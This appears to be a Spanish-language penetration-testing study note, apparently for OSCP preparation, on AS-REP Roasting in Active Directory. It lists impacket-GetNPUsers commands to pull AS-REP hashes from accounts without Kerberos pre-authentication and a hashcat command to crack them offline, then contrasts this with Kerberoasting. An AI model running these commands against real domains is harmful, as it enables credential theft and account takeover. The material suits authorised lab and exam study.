# AS-REP Roasting

> Usuarios con **"Do not require Kerberos pre-authentication"** → pides su AS-REP y crackeas el hash, **sin necesitar credenciales**. Camino de Active Directory.

## Ataque
```bash
# con lista de usuarios (sesión nula / enum previa con SMB):
impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass -dc-ip IP
# con credenciales (enumera y pide a la vez):
impacket-GetNPUsers dominio/usuario:password -request -dc-ip IP
```

## Crackeo offline
```bash
hashcat -m 18200 hashes.txt rockyou.txt
```

## Diferencia con Kerberoasting
- **AS-REP** = usuarios SIN pre-auth → **no necesitas password** para pedir el hash.
- **Kerberoasting** = cuentas de servicio (SPN) → necesitas una credencial válida.

Relacionado: Cracking de contraseñas · Kerberoasting · Kerberos · Impacket · OSCP MOC
